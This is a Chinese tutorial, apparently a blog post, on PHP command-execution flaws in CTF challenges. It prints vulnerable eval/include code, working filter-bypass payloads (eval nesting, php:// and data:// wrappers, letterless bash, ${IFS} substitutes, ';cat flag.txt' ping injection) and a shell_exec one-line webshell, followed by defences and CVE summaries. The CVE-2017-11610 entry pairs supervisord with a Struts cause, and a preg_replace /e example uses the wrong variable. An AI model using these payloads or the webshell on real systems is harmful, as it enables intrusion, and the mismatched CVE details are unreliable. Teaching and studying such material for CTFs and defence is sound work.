CTF命令执行篇 与 实际的命令执行漏洞

目录

ctf考察的命令执行漏洞

GET请求

POST请求

c=print_r(scandir("/"));

c=var_dump(scandir('/'));

c=var_export(scandir("/"));

var_export(glob('../../..'.'/*'));exit();

eg:c=highlight_file("../../../../../flag.php");

当然这个文件包含的方法还能用 c=include($_POST[a]);&a=php://filter/convert.base64-encode/resource=/flag.txt

c=readgzfile("/flag.txt");

c=include("/flag.txt");

命令执行漏洞

产生该漏洞的原因

一.命令执行相关函数(php)

常见命令执行函数

二.命令执行的防御

三.命令执行绕过基础

1.代码执行方法

2.敏感字符绕过

3.命令执行其他实例

四.命令执行相关漏洞


ctf考察的命令执行漏洞

GET请求

1.URL直接加后缀即可

error_reporting(0);
if(isset($_GET['c'])){   
    $c = $_GET['c'];     
    eval($c);   
}

如上代码 是要 get请求到C的内容

所以命令为 url + ?c=system("系统指令");

结合下图所示,对应2和3

error_reporting(0); 
if(isset($_GET['c'])){   $c = $_GET['c'];   if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){     
    eval($c);   
}   
                     }else{   
    highlight_file(__FILE__); 
}

2.使用eval嵌套

?c=eval($_GET[1]);&1=passthru("tac%09fla*");

3.可以利用已知的其他函数来凑出所需要的字符串来绕过

?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

?c=show_source(next(array_reverse(scandir(getcwd()))));

getcwd() 函数返回当前工作目录。它可以代替pos(localeconv())

localeconv(): 返回包含本地化数字和货币格式信息的关联数组,这里返回数组一个"."

pos(): 输出数组第一个元素,不改变指针

scandir(): 遍历目录,这里因为参数为"."所以遍历当前目录

array_reverse(): 元组倒置

next(): 将数组指针指向下一个,这里其实可以省略倒置和改变数组指针,直接利用[2]取出数组也可以

show_source(): 查看源码

下图所示,对应4

error_reporting(0); 
if(isset($_GET['c'])){   
    $c = $_GET['c'];   if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){     
        eval($c);   
    }   
}else{   
    highlight_file(__FILE__); 
}

4.include包含和php伪协议

?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

如图所示,对应5

error_reporting(0); 
if(isset($_GET['c'])){   
    $c = $_GET['c'];   
    if(!preg_match("/flag/i", $c)){     
        include($c);     
        echo $flag;     
    }     
}else{   
    highlight_file(__FILE__); 
}

5.php伪协议

?c=data://text/plain,<?php system("tac fla*.php")?>

如图所示,对应6

if(isset($_GET['c'])){   
    $c = $_GET['c'];   
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){     
        eval($c);   
    }     
}else{   
    highlight_file(__FILE__); 
} 

  1. ?c=eval(array_pop(next(get_defined_vars())));//需要POST传入参数为1=system('tac fl*');

get_defined_vars() 返回一个包含所有已定义变量的多维数组。这些变量包括环境变量、服务器变量和用户定义的变量,例如GET、POST、FILE等等。

next()将内部指针指向数组中的下一个元素,并输出。

array_pop() 函数删除数组中的最后一个元素并返回其值。

如图所示 对应7

if(isset($_GET['c'])){   
    $c=$_GET['c'];   
    system($c." >/dev/null 2>&1"); 
}else{   
    highlight_file(__FILE__); 
}

7./dev/null 2>&1是不进行回显,所以采用命令把flag打印出来,利用;分隔分化一下 构造payload:

?c=tac flag.php;ls
或者是
?c=tac flag.php||

如图所示 对应8

if(isset($_GET['c'])){   
    $c=$_GET['c'];   
    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){     
        system($c);   
    } 
}else{   
    highlight_file(__FILE__); 
} 

8.bash无字母命令执行(最好直接用脚本生成)

比如说 $'\154\163' 代表的是 ls指令

POST请求

1、查看根目录内容

c=print_r(scandir("/"));

先用scandir列根目录内容,用print_r回显。

c=var_dump(scandir('/'));

c=var_export(scandir("/"));

var_export(glob('../../..'.'/*'));exit();

类似用途

2.查看文件

show_source() highlight_file() 读取flag内容更方便

eg:c=highlight_file("../../../../../flag.php");

当然这个文件包含的方法还能用 c=include($_POST[a]);&a=php://filter/convert.base64-encode/resource=/flag.txt

c=readgzfile("/flag.txt");

c=include("/flag.txt");

如图所示 对应3,4

 $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s)

3.提前送出缓冲区

命令+ ob_flush();

或者命令+ob_end_flush();

4.提前终止程序

命令+exit()

命令+die()

常见系统指令(无过滤)

ls 查看目录 cat 查看文件 cp 复制

POST请求下使用 show_source() highlight() 读取flag内容更方便

命令执行漏洞

产生该漏洞的原因

1.没有针对输入代码中可执行的特殊函数进行过滤

2.Web服务器没有过滤特殊函数

一.命令执行相关函数(php)

常见命令执行函数

1.system eg:system(command,return_var); [一般只写command]

$command: 执行的命令

$return_var: 可选择写,用于返回结果的执行值(比如false等)

2.exec eg:exec(command,output,return_var); [一般只写command]

$command: 同上

$output: 修饰输出结果,会将命令的每一行输出作为一个元素存入数组中。如果命令没有输出,那么$output将是一个空数组

$return_var: 同上

echo exec("指令");

但是exec只能获取最后一行数据,接下来的shell_exec可以获取全部数据

3.shell_exec eg:shell_exec(command);

4.passthru eg:passthru(command,return_var);

5.eval eg:eval($code);

$code: 是你要执行的代码

eval($_GET[a]);&a=system('cat flag.php');

eval相关的攻击方式(直接把code部分当成php程序执行)

6.assert eg:assert(assertion,description); [一般只写assertion]

$assertion: 和上面的code的一样,按照php代码执行\

$description: 和以前的return_var一样

7.preg_replace eg:preg_replace(pattern,replacement,subject,limit,count) [其中pattern,replacement,subject 是必填]

$pattern:这是一个必须的参数,用于指定要匹配的模式,通常是一个正则表达式。它可以是一个字符串或一个字符串数组。

𝑟𝑒𝑝𝑙𝑎𝑐𝑒𝑚𝑒𝑛𝑡:这也是一个必需的参数,用于指定将匹配到的字符串替换为何种内容。它同样可以是字符串或字符串数组。

$subject:这是必需的参数,用于指定要搜索和替换的原始字符串或字符串数组。

$limit:这是一个可选参数,用于指定最多替换多少次匹配。默认值为-1,表示替换所有匹配项。

$count:这也是一个可选参数,用于返回被替换的匹配次数。这是一个引用变量,函数执行后会更新其值。

8.call_user_func eg: call_user_func ( $callback , mixed ...$args )

$callback:这是一个必填参数,类型为callable,意味着它可以是函数名、匿名函数(闭包)、类方法的引用等。这个参数告诉call_user_func()要调用哪个函数。

𝑎𝑟𝑔𝑠:这是一个可变参数列表,用于传递给‘args:这是一个可变参数列表,用于传递给‘callback函数。你可以传递任意数量的参数,这些参数将会按照顺序传入$callback`函数。

9.create_function(args,code)

$args:这是一个字符串,表示新创建的函数的参数列表。

$code:这是另一个字符串,代表新创建的函数中的代码块。这里的代码会被执行,就像在一个普通的函数体中一样

create_function() 返回一个表示新创建的匿名函数的资源。

10.ob_start()

<?php
​
ob_start("system");
​
echo"whoami";
​
ob_end_flush();
​
?>

二.命令执行的防御

1.使用自定义函数或者函数库来代替外部命令的功能

2.不要执行外部命令

3.使用escapeshellarg函数来处理命令参数

4.使用safe_mode_exec_dir指令可执行文件的路径(php.ini)

用safe_mode_exec_dir指定可执行文件的路径,可以把会使用的命令提前放入此路径内

safe_mode_exec_dir = /usr/local/php/bin/

三.命令执行绕过基础

1.代码执行方法

命令执行会被disable_function限制 或者 被正则表达式过滤,我们不可以直接使用,这时候可以考虑代码执行:

(1)eval 直接写php代码

(2)assert eg: <?php assert($_POST['a']);?>

动态调用:

<?php
​
    $a='assert';
​
    $a($_POST['a']);
​
?>

注意: php7.0.29之后不支持动态调用

(3)preg_replace 执行一个正则表达式的搜索和替换

执行代码需要使用/e修饰符. 如果不使用/e修饰符,代码不会执行

$a='phpinfo()'

$b=preg_replace("/abc/e",$b,'abcd');

(4)create_function()

(5)call_user_func()/call_user_func_array()

2.敏感字符绕过

(1)空格 [以下字符可以代替空格]

<

${IFS}

$IFS$9

%09

%20

(2)截断符号:

'$' ';' '|' '-' '(' ')' '反引号' '||' '&&' '&' '}' '{'

%0a表示 /n 换行符

对于看到ping或者ping命令却没有弄waf时就要想到命令注入.

eg: ip=127.0.0.1;cat flag.txt

(3)base编码绕过

(4)连接符绕过:

使用单引号,问号,星号

eg: cat fl'a'g.txt/fl?g.txt/fl*g.php

使用斜杠/(起到路径分隔符的作用)

eg cat${IFS}/fl"ag||

3.命令执行其他实例

(1) 一句话木马

<?php
​
    echo shell_exec($_GET['a']);
​
?>

(2)动态函数调用

<?php
function a()
{
    return "a()函数...";
}
function b()
{
    return "b()函数...";
}
$fun = $_REQUEST['fun'];
echo $fun();
$fun = $_GET['fun'];
$par = $_GET['par'];
$fun($par);
?>

(3)危险函数导致代码执行

<?php
$arr = $_GET['arr'];
$array = array(1,2,3,4,5);
$new_array = array_map($arr,$array);
?>

四.命令执行相关漏洞

1.cve-2017-8046 (spring命令执行漏洞)

Spring Data Rest是一个构建在spring data之上,开发rest风格的web服务

漏洞成因: 在spring data rest框架中 用户可以使用patch请求 发送给服务器,path值传入setValue,执行SpEL表达式,触发远程命令执行漏洞.

2.cve-2017-1000353 (jenkins命令执行漏洞)

Jenkins是一个开源软件项目.是基于java开发的持续集成工具.

漏洞成因: 该漏洞存在于 Jenkins 处理序列化和反序列化逻辑的代码中,尤其是 SignedObject 类的处理方式上。恶意攻击者可以构造恶意的序列化 Java 对象,通过 Jenkins 的 CLI 通信通道发送给服务器,从而远程执行命令。

3.cve-2017-11610

supervisord是用python语言开发,管理后台应用的工具,使用图形化界面进行管理

漏洞成因: 在于 Struts 的 REST插件中的JSON数据处理器未能正确地对用户输入进行校验,允许攻击者通过恶意请求,注入并执行任意代码。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值